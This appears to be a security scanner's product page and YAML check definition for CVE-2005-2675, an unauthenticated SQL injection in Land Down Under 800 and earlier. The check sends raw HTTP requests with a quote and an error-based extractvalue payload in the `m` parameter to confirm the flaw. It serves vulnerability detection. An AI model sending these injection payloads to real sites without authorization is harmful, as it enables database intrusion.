Land Down Under — 1 vulnerability check
noctis ships 1 vulnerability check for Land Down Under, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Land Down Under ldu_log() request URI SQL Injection
| CVE | CVE-2005-2675 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/land-down-under/CVE-2005-2675.yaml |
Land Down Under (LDU) 800 and earlier write the raw request URI into its activity log with an unescaped SQL INSERT, so a quote anywhere in the URL of a logged request (such as an unknown `m` value on index.php) injects SQL without authentication. LDU 801 escapes the logged text.
This check requests `index.php?m='` followed by a random marker and confirms the page prints a MySQL syntax error quoting that marker, while the same request without the quote shows no SQL error. It then proves the injection by making the database compute the product of two random numbers inside an XPATH error message (`m='+extractvalue(1,concat(0x7e,A*B))+'`). The injected query fails, so nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ldir}}/index.php?m={{sc.marker}} HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ldir}}/index.php?m='{{sc.marker}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ldir}}/index.php?m='+extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))+' HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
x.foundfor^XPATH$→ finding QoD 97: SQL injection confirmed on …/index.php: m='+extractvalue(1,concat(0x7e,…*…))+' made the database compute the product and print XPATH syntax… - Checks
q.foundfor^QUOTE$→ finding QoD 75: SQL injection: m='… on …/index.php made the page print a MySQL syntax error quoting …, while the control m=… showed no SQL error
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-2675
- https://www.securityfocus.com/bid/14677
- https://www.securityfocus.com/bid/14618
- https://www.exploit-db.com/exploits/26178
Feed source — tests/vulnerabilities/land-down-under/CVE-2005-2675.yaml
# Land Down Under (LDU) <= 800 — request-URI SQL injection in ldu_log() (CVE-2005-2675)
#
# LDU 800 logs suspicious requests through ldu_log() (system/functions.php),
# which concatenates the raw $_SERVER['REQUEST_URI'] into the INSERT of the
# logger table without escaping it (BID 14677, OSVDB 19298). REQUEST_URI is
# never URL-decoded nor touched by magic_quotes, so a raw quote anywhere in the
# URL of a logged request breaks the query, and LDU dies printing the MySQL
# error. index.php logs an unknown `m` value, so `index.php?m='` reaches it.
# LDU 801 escapes the logged text. The same unescaped-input pattern is what
# the per-parameter reports of CVE-2005-2675 (m / s / n / x … in forums.php,
# journal.php, list.php) describe; NVD has no separate record for BID 14677.
#
# Source NASL (pre2008/ldu_sql_injection.nasl) requests `/index.php?m='` and
# greps "MySQL error.+syntax to use near '". This feed goes further:
# 1. QoD 97 — `index.php?m='+extractvalue(1,concat(0x7e,A*B))+'` (random A,
# B). Inside the logged string literal this becomes
# '... ?m=' + extractvalue(...) + '' — valid SQL whose evaluation makes
# MySQL >= 5.1 / MariaDB raise `XPATH syntax error: '~<A*B>'`, which LDU
# prints. The product only exists if the database computed it. The query
# fails, so no row is written. Verified against MariaDB 10.11 with a
# reconstructed ldu_log() sink (vulnerable: error; escaped: row logged).
# 2. QoD 75 — the NASL's quote check with a random marker: the SQL syntax
# error must quote the marker after "near", and a control request with the
# same marker but no quote must not show any SQL error (a page that always
# prints one stays clean). Covers MySQL 4.x / 5.0, which lack EXTRACTVALUE.
# The quote must reach the server raw (REQUEST_URI is not decoded; an HTTP
# client would send %27), hence raw tcp_connect requests. Beyond the NASL's
# web root, the probe also walks /ldu.
#
# The issue also lists CVE-2005-2674 (index.php / journal.php reflected XSS)
# and CVE-2005-2780 (forum signature stored XSS); this feed proves only the SQL
# injection, so it carries CVE-2005-2675 alone. NVD has only a CVSS v2 score
# (7.5) for it.
#
# Source: OpenVAS/Greenbone NASL pre2008/ldu_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19678, GPL-2.0-only)
uid: c4611955-7274-49a2-9e84-4dc3125c564f
name: "Land Down Under ldu_log() request URI SQL Injection (CVE-2005-2675)"
description: |
Land Down Under (LDU) 800 and earlier write the raw request URI into its
activity log with an unescaped SQL INSERT, so a quote anywhere in the URL of
a logged request (such as an unknown `m` value on index.php) injects SQL
without authentication. LDU 801 escapes the logged text.
This check requests `index.php?m='` followed by a random marker and confirms
the page prints a MySQL syntax error quoting that marker, while the same
request without the quote shows no SQL error. It then proves the injection
by making the database compute the product of two random numbers inside an
XPATH error message (`m='+extractvalue(1,concat(0x7e,A*B))+'`). The injected
query fails, so nothing is written and no data is read from the database.
cves: [CVE-2005-2675]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [land-down-under, ldu, neocrome, sqli, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-2675"
- "https://www.securityfocus.com/bid/14677"
- "https://www.securityfocus.com/bid/14618"
- "https://www.exploit-db.com/exploits/26178"
steps:
# ── Random marker and operands ────────────────────────────────────────────
- id: gen
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{ marker: "NOCTIS" + rand_hex(5), a: a, b: b, prod: a * b }
store_as: sc
# ── Per candidate install dir (loop group) ────────────────────────────────
# Pre-initialise every stored result a script reads: a failed connection
# leaves store_as unset and an undefined var would abort the whole test.
- id: init-ctl
action: set_var
var_name: ctl
var_value: {connected: false, banner: null}
loop:
over: ["", "/ldu"]
var: ldir
- id: init-qm
action: set_var
var_name: qm
var_value: {connected: false, banner: null}
- id: init-ev
action: set_var
var_name: ev
var_value: {connected: false, banner: null}
# ── Stage 1: control (no quote), then the raw quote breaks the INSERT ─────
- id: ctl-probe
action: tcp_connect
port: "{{port}}"
send: "GET {{ldir}}/index.php?m={{sc.marker}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
timeout_secs: 10
store_as: ctl
- id: qm-probe
action: tcp_connect
port: "{{port}}"
send: "GET {{ldir}}/index.php?m='{{sc.marker}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
condition: "ctl.connected && type_of(ctl.banner) == \"string\""
timeout_secs: 10
store_as: qm
# The syntax error must quote our marker right after "near" (raw or
# HTML-escaped quote); the control must answer HTTP without any SQL error.
- id: check-qm
action: script
code: |
let sqlerr = "You have an error in your SQL syntax|XPATH syntax error|MySQL error";
let cb = if type_of(ctl.banner) == "string" { ctl.banner } else { "" };
let qb = if type_of(qm.banner) == "string" { qm.banner } else { "" };
let near = "syntax (?:to use )?near (?:'|�?39;|'|')[^\\r\\n<]{0,40}" + sc.marker;
let hit = ereg("^HTTP/1\\.[01] ", cb) && !ereg(sqlerr, cb) && ereg(near, qb);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: q
# ── Stage 2: the database must compute A*B inside an XPATH error ──────────
- id: ev-probe
action: tcp_connect
port: "{{port}}"
send: "GET {{ldir}}/index.php?m='+extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))+' HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
condition: "q.hit"
timeout_secs: 10
store_as: ev
- id: check-ev
action: script
code: |
let eb = if type_of(ev.banner) == "string" { ev.banner } else { "" };
let ok = q.hit && ereg("XPATH syntax error: (?:'|�?39;|'|')?~" + sc.prod + "(?:[^0-9]|$)", eb);
#{ ok: ok, found: if ok { "XPATH" } else { "" } }
store_as: x
- id: report-ev
action: match
source: x.found
pattern: "^XPATH$"
condition: "x.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "SQL injection confirmed on {{ldir}}/index.php: m='+extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))+' made the database compute the product and print XPATH syntax error '~{{sc.prod}}'"
stop: true
- id: report-qm
action: match
source: q.found
pattern: "^QUOTE$"
condition: "q.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: m='{{sc.marker}} on {{ldir}}/index.php made the page print a MySQL syntax error quoting {{sc.marker}}, while the control m={{sc.marker}} showed no SQL error"
stop: true